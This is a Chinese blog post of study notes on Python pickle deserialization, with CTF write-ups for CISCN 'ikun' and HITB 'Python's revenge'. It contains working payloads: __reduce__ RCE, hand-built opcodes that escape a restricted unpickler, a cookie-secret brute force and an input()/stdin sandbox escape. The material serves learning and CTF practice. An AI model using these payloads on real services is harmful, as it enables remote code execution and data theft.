pickle学习

Pickle

关于pickle的知识

参考:https://www.freebuf.com/articles/web/264363.html

https://zhuanlan.zhihu.com/p/361349643

https://www.freebuf.com/articles/web/252189.html

pickle是python语言的一个标准模块,实现了基本的数据序列化和反序列化。
pickle模块是以二进制的形式序列化后保存到文件中(保存文件的后缀为.pkl),不能直接打开进行预览。

pickle.dumps将对象反序列化为字符串,pickle.dump将反序列化后的字符串存储为文件。

pickle.loads() 对象反序列化 pickle.load() 对象反序列化,从文件中读取数据。

#序列化 pickle.dump(obj, file, protocol=None,) obj表示要进行封装的对象(必填参数) file表示obj要写入的文件对象 以二进制可写模式打开即wb(必填参数)

#反序列化 pickle.load(file, *, fix_imports=True, encoding=”ASCII”, errors=”strict”, buffers=None) file文件中读取封存后的对象 以二进制可读模式打开即rb(必填参数)

#序列化 pickle.dumps(obj, protocol=None,*,fix_imports=True) dumps()方法不需要写入文件中,直接返回一个序列化的bytes对象。

#反序列化 pickle.loads(bytes_object, *,fix_imports=True, encoding=”ASCII”. errors=”strict”) loads()方法是直接从bytes对象中读取序列化的信息,而非从文件中读取。

简单看一下序列化后结果,用的是pickle0版本看的更清楚一点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# -*- coding: gbk -*-
import pickle
import os
import subprocess
class Test:
def __init__(self,a,b):
self.a = a
self.b = b
if __name__ == '__main__':
demo = Test('KK','fine')
with open('test.pkl','wb') as f:
pickle.dump(demo,f,protocol=0)
print("\n")
with open('test.pkl','rb') as f:
print(pickle.load(f))

在这里插入图片描述

指令集的介绍,具体和PVM有关。先可看看这张图,每个protocol版本不一样的话,序列化出来的结果是不一样的。

  1. c:引入模块和对象,模块名和对象名以换行符分割。(find_class校验就在这一步,也就是说,只要c这个OPCODE的参数没有被find_class限制,其他地方获取的对象就不会被沙盒影响了,这也是我为什么要用getattr来获取对象)
  2. (:压入一个标志到栈中,表示元组的开始位置
  3. t:从栈顶开始,找到最上面的一个(,并将(t中间的内容全部弹出,组成一个元组,再把这个元组压入栈中
  4. R:从栈顶弹出一个可执行对象和一个元组,元组作为函数的参数列表执行,并将返回值压入栈上
  5. p:将栈顶的元素存储到memo中,p后面跟一个数字,就是表示这个元素在memo中的索引
  6. VS:向栈顶压入一个(unicode)字符串
  7. .:表示整个程序结束

img

漏洞介绍

反序列化漏洞出现在 __reduce__()魔法函数上,这一点和PHP中的__wakeup()魔术方法类似,都是因为每当反序列化过程开始或者结束时 , 都会自动调用这类函数。而这恰好是反序列化漏洞经常出现的地方。

而且在反序列化过程中,因为编程语言需要根据反序列化字符串去解析出自己独特的语言数据结构,所以就必须要在内部把解析出来的结构去执行一下。如果在反序列化过程中出现问题,便可能直接造成RCE漏洞.

另外pickle.loads会解决import问题,对于未引入的module会自动尝试import。那么也就是说整个python标准库的代码执行、命令执行函数都可以进行使用。这里贴一下官方文档把,这个函数还挺常见的。

在这里插入图片描述

__reduce__()函数返回一个元组时 , 第一个元素是一个可调用对象 , 这个对象会在创建对象时被调用 . 第二个元素是可调用对象的参数 , 同样是一个元组。这点跟PVM中的R操作码功能相似,可以对比下:

1
将之前压入栈中的元组和可调用对象全部弹出 , 然后将该元组作为可调用参数的对象并执行该对象 。最后将结果压入到栈中 

事实上 , R操作码就是 __reduce__()魔术函数的底层实现 . 而在反序列化过程结束的时候 , Python 进程会自动调用 __reduce__()魔术方法 . 如果可以控制被调用函数的参数 , Python 进程就可以执行恶意代码 .

opcode进阶

直接看好文https://xz.aliyun.com/t/7436#toc-5

https://misakikata.github.io/2020/04/python-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#pickle%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96

https://www.jianshu.com/p/8fd3de5b4843

https://dar1in9s.github.io/2020/03/20/python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/#%E8%8A%B1%E5%BC%8Fimport

https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html

沙箱逃逸 https://xz.aliyun.com/t/52#toc-6

opcode版本

pickle由于有不同的实现版本,在py3和py2中得到的opcode不相同。但是pickle可以向下兼容(所以用v0就可以在所有版本中执行)。目前,pickle有6种版本。测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import pickle

a={'1': 'KKfine'}

print(f'# 原变量:{a}')
for i in range(6):
print(f'pickle版本{i}',pickle.dumps(a,protocol=i))

# 输出:
# 原变量:{'1': 'KKfine'}
pickle版本0 b'(dp0\nV1\np1\nVKKfine\np2\ns.'
pickle版本1 b'}q\x00X\x01\x00\x00\x001q\x01X\x06\x00\x00\x00KKfineq\x02s.'
pickle版本2 b'\x80\x02}q\x00X\x01\x00\x00\x001q\x01X\x06\x00\x00\x00KKfineq\x02s.'
pickle版本3 b'\x80\x03}q\x00X\x01\x00\x00\x001q\x01X\x06\x00\x00\x00KKfineq\x02s.'
pickle版本4 b'\x80\x04\x95\x11\x00\x00\x00\x00\x00\x00\x00}\x94\x8c\x011\x94\x8c\x06KKfine\x94s.'
pickle版本5 b'\x80\x05\x95\x11\x00\x00\x00\x00\x00\x00\x00}\x94\x8c\x011\x94\x8c\x06KKfine\x94s.'


#对于pickle版本3 :
# \x80:协议头声明 \x03:协议版本
# \x06\x00\x00\x00:数据长度:6
# KKfine:数据
# q:储存栈顶的字符串长度:一个字节(即\x00)
# \x00:栈顶位置
# .:数据截止

但是十六进制不太好观察时如何序列化的,可以使用pickletools可以方便的将opcode转化为便于肉眼读取的形式。

image-20200428142817753

拿个例子看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import pickletools
import pickle
import os
class exp(object):
def __reduce__(self):
return (os.system,('whoami',))
e = exp()
s = pickle.dumps(e,protocol=2) #python3.8默认是版本4,会将操作符换成十六进制
pickletools.dis(s)


0: \x80 PROTO 2 #协议版本
2: c GLOBAL 'nt system' #将'nt system'压入栈中 os.system
13: q BINPUT 0 #把对象存储到memo的第0个位置
15: X BINUNICODE 'whoami' #压入一个utf-8的元素参数 'whoami'
26: q BINPUT 1 #存储到memo的第1个位置
28: \x85 TUPLE1 #将前面的元素参数弹出,组成元组再压栈,类比于命令't' ('whoami',)
29: q BINPUT 2 #将上面的元组存储到memo的第2个位置 ...
31: R REDUCE #将对象和元组组合执行,结果压栈 os.system('whoami')
32: q BINPUT 3 #存储到memo的第3个位置上 ...
34: . STOP #结束
highest protocol among opcodes = 2

Process finished with exit code 0


用protocol=0输出为
cnt
system
p0
(Vwhoami
p1
tp2
Rp3
.

了解这些是为了便于下面尝试手动构造opcode,因为有时候会禁止使用某些模块或者命令执行函数时,需要自己构造来进行绕过。例如当源码如下时:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import pickle
import io
import builtins

__all__ = ('PickleSerializer', )


class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))


class PickleSerializer():
def dumps(self, obj):
return pickle.dumps(obj)

def loads(self, data):
try:
if isinstance(data, str):
raise TypeError("Can't load pickle from unicode string")
file = io.BytesIO(data)
return RestrictedUnpickler(file,
encoding='ASCII', errors='strict').load()
except Exception as e:
return {}

RestrictedUnpickler类设置了一个白名单,判断module == "builtins"限制了必须为builtins,这其实也是官方给出的防御方法之一,这里限制了模块引用,危险函数也无法直接用了,但可以用getattr来构造opcode.

从显示上看,明显是0版本更为好构造,既然如此,就用0版本来手写一个。

这里先尝试构造一个builtins.getattr(builtins, 'eval'),('__import__("os").system("whoami")',)

首先得确保引入了builtins模块,又无法直接压入单一对象,也就是需要从某个模块中调用到builtins。例如builtins.__dict__.get('globals')().get('__builtins__')或者builtins.globals().get('builtins')

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import pickletools
import pickle
import os
import builtins
#builtins.getattr(builtins, 'eval'),('__import__("os").system("whoami")',).
#builtins.__dict__.get(globals)().get('builtins')
#builtins.getattr(builtins.__dict__,'get')('globals')().get('__builtins__')
test = b"""cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tR.
"""
data = pickle.loads(test)
print(data)

这里理解得时候要注意R操作符没执行一次都要返回一个操作结果,最开始的``builtins.getattr(dict, ‘get’)比较容易理解,后面(t这里是压入空元组,其实也可以用)直接压入空元组,然后接一个R就返回了globals全局字典,最后压入一个字符串builtins来获取这个模块。下面就可以拼接eval`命令了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
test = b"""cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("id")'
tR.
"""
#g1就是刚才获取到的builtins,我继续使用getattr,获取到了builtins.eval。

防御得话可以设置白名单,看一下官方得文档,换成黑名单过滤也行。

image.png

算是在opcode入了个门,但还是挺基础的。

一些常见得opcode也有现成的,可以参考,但还是多手写熟悉一下。

https://github.com/sensepost/anapickle/blob/master/anapickle.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
MARK            = '('   # push special markobject on stack
STOP = '.' # every pickle ends with STOP
POP = '0' # discard topmost stack item
POP_MARK = '1' # discard stack top through topmost markobject
DUP = '2' # duplicate top stack item
FLOAT = 'F' # push float object; decimal string argument
INT = 'I' # push integer or bool; decimal string argument
BININT = 'J' # push four-byte signed int
BININT1 = 'K' # push 1-byte unsigned int
LONG = 'L' # push long; decimal string argument
BININT2 = 'M' # push 2-byte unsigned int
NONE = 'N' # push None
PERSID = 'P' # push persistent object; id is taken from string arg
BINPERSID = 'Q' # " " " ; " " " " stack
REDUCE = 'R' # apply callable to argtuple, both on stack
STRING = 'S' # push string; NL-terminated string argument
BINSTRING = 'T' # push string; counted binary string argument
SHORT_BINSTRING = 'U' # " " ; " " " " < 256 bytes
UNICODE = 'V' # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE = 'X' # " " " ; counted UTF-8 string argument
APPEND = 'a' # append stack top to list below it
BUILD = 'b' # call __setstate__ or __dict__.update()
GLOBAL = 'c' # push self.find_class(modname, name); 2 string args
DICT = 'd' # build a dict from stack items
EMPTY_DICT = '}' # push empty dict
APPENDS = 'e' # extend list on stack by topmost stack slice
GET = 'g' # push item from memo on stack; index is string arg
BINGET = 'h' # " " " " " " ; " " 1-byte arg
INST = 'i' # build & push class instance
LONG_BINGET = 'j' # push item from memo on stack; index is 4-byte arg
LIST = 'l' # build list from topmost stack items
EMPTY_LIST = ']' # push empty list
OBJ = 'o' # build & push class instance
PUT = 'p' # store stack top in memo; index is string arg
BINPUT = 'q' # " " " " " ; " " 1-byte arg
LONG_BINPUT = 'r' # " " " " " ; " " 4-byte arg
SETITEM = 's' # add key+value pair to dict
TUPLE = 't' # build tuple from topmost stack items
EMPTY_TUPLE = ')' # push empty tuple
SETITEMS = 'u' # modify dict by adding topmost key+value pairs
BINFLOAT = 'G' # push float; arg is 8-byte float encoding

TRUE = 'I01\n' # not an opcode; see INT docs in pickletools.py
FALSE = 'I00\n' # not an opcode; see INT docs in pickletools.py

# Protocol 2

PROTO = '\x80' # identify pickle protocol
NEWOBJ = '\x81' # build object by applying cls.__new__ to argtuple
EXT1 = '\x82' # push object from extension registry; 1-byte index
EXT2 = '\x83' # ditto, but 2-byte index
EXT4 = '\x84' # ditto, but 4-byte index
TUPLE1 = '\x85' # build 1-tuple from stack top
TUPLE2 = '\x86' # build 2-tuple from two topmost stack items
TUPLE3 = '\x87' # build 3-tuple from three topmost stack items
NEWTRUE = '\x88' # push True
NEWFALSE = '\x89' # push False
LONG1 = '\x8a' # push long from < 256 bytes
LONG4 = '\x8b' # push really big long

[CISCN2019 华北赛区 Day1 Web2]ikun

考点就是jwt伪造和pickle反序列化

题目有提示是要找到lv6,写个脚本爆破就行,在page=181发现lv6,但购买数额很大,抓包发现可以改折扣然后会进行一个跳转/b1g_m4mber

1
2
3
4
5
6
7
8
9
10
11
import  requests
url = 'http://6429f3b4-abd3-4051-88e2-a078083710f8.node4.buuoj.cn:81/shop?'
s = requests.session()
cookie = {'UM_distinctid':'178da808111afb-0cc46980b0aa53-406d2516-1fa400-178da808112649'}
for i in range(1000):
p = url + 'page=' + str(i)
content = s.get(url=p).text
print(p)
# print(content)
if 'lv6.png' in content:
print(i)

访问需要admin才行,抓包可以看到有cookie中有JWT值,则可以猜想到是伪造jwt,密码爆破出来是1Kun

在这里插入图片描述

以admin登陆后就可以发现源码了。

在这里插入图片描述

看到源码,是tornado框架,全局搜了一下pickle看到了入口

在这里插入图片描述

这里直接pickle.loads反序列化数据了,没有任何为难。注意这个地方用的是python2写的,有些python3的模块无法导致命令执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import os
import pickle
from urllib.parse import *
import subprocess
class exp:
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
# return (eval,("\"os.popen('ls /').read()\"",))
# return (commands.getoutput, ('ls /',))
test = exp()
test = pickle.dumps(test,protocol=0)
print(test)
p = quote(test)
print(p)

在这里插入图片描述

这个地方得加上xsrf原因在于在实例化的时候设置了xsrf_cookies=True,并且在模板渲染时还有{% raw xsrf_form_html() %}

在这里插入图片描述

所以在用post请求时,会在页面中带有xsrf标签,如果没有传入xsrf值则会产生404,使用get,不需要xsrf保护。

在这里插入图片描述

具体可以参考https://stackoverflow.com/questions/12890105/tornado-xsrf-argument-missing-from-post/12917054

https://www.tornadoweb.org/en/latest/guide/security.html#cross-site-request-forgery-protection

HITBCTF 2018 Python’s revenge

贴一下源码https://github.com/p4-team/ctf/tree/master/2018-04-11-hitb-quals/web_python

关键代码,重写了loads方法,用了black_type_list 白名单过滤,原理就是将unpkler.dispatch[pickle.REDUCE]中使用R操作符弹栈时调用的函数改成了wrapper先进行了一遍检查,绕过了过滤再执行func(*args, **kwargs)返回结果。

在这里插入图片描述

入口在reminder函数,在POST请求时,序列化后用base64编码,然后调用了make_cookie,后面将cookie赋值了。

在这里插入图片描述

这里就只是进行了一下sha256加密,问题时这里的secret不知道,但是源码最开始可以发现cookie_secret.secret文件中,而且只写入了一次,所以可以用一个加密后的cookie将 secret爆破出来。

1
2
3
4
def make_cookie(location, secret):return "%s!%s" % (calc_digest(location, secret), location)


def calc_digest(location, secret):return sha256("%s%s" % (location, secret)).hexdigest()
1
2
3
4
5
6
7
if not os.path.exists('.secret'):
with open(".secret", "w") as f:
secret = ''.join(random.choice(string.ascii_letters + string.digits)
for x in range(4))
f.write(secret)
with open(".secret", "r") as f:
cookie_secret = f.read().strip()

用爆破出来的secret结合构造的opcode伪造一个cookie绕过getlocation()的检查。

1
2
3
4
5
6
7
8
9
10
11
12
13
def getlocation():
cookie = request.cookies.get('location')
if not cookie:
return ''
(digest, location) = cookie.split("!")
if not safe_str_cmp(calc_digest(location, cookie_secret), digest):
flash("Hey! This is not a valid cookie! Leave me alone.")
return False
location = loads(b64d(location))
return location



爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from hashlib import sha256
import string
data = 'd7e3bd07f7ae389f07abe89d199ebae1e1e67b4479a98870ee5a3c4fe0f56237!VjErMQpwMAou' #拿了个样本
(calc_digest_result,location) = data.split('!')
stringlist = string.ascii_letters
def break_secret():
for i in stringlist:
for j in stringlist:
for k in stringlist:
for p in stringlist:
data = location + i +j +k +p
if sha256(data).hexdigest() == calc_digest_result:
print i +j +k +p
exit(1)
break_secret()

#输出
#VjErMQpwMAou d7e3bd07f7ae389f07abe89d199ebae1e1e67b4479a98870ee5a3c4fe0f56237
#hitb

接下来,解决python的沙盒逃逸问题,首先我们要找出一个可以执行命令的函数,这里过滤很很多,但是仔细想想,可以观察到注意到这段代码的一个重要事情 - 它是Python 2,并且在黑名单中没有input()函数。关于这个函数,python 2和3之间有很大的区别。在python 3中,它的行为与python 2中的raw_input()相同 ,它只是从stdin读取输入。但在python 2中它所做的实际上是eval(raw_input()),所以通过使用input()我们可以做eval()。input函数在__builtin__ moudle中,于是有:`

这个地方注意input需要从stdin读取数据,则最终构造的payload实际为

关于stdin可看https://www.codenong.com/1450393/

1
2
__builtin__.setattr(__builtin__.__import__('sys'),sysin,cStringIO.StringIO('需要执行的命令'))
__builtin__.input('python>')

构造opcode为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
command_to_eval = raw_input("python> ")
data = b"""c__builtin__
setattr
(c__builtin__
__import__
(S'sys'
tRS'stdin'
cStringIO
StringIO
(S'""" + command_to_eval + """'
tRtRc__builtin__
input
(S'python>'
tR."""

测试了一下

在这里插入图片描述

最后可以输入__import__(‘os’).listdir(“/“)、import(‘os’).system(“ls”) 、import(‘subprocess’).check_output(“ls”)等进行测试,可以发现根目录下存在flag_is_here,执行open(“/flag_is_here”,”r”).read(),得到:HITB{Py5h0n1st8eBe3tNOW}。


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!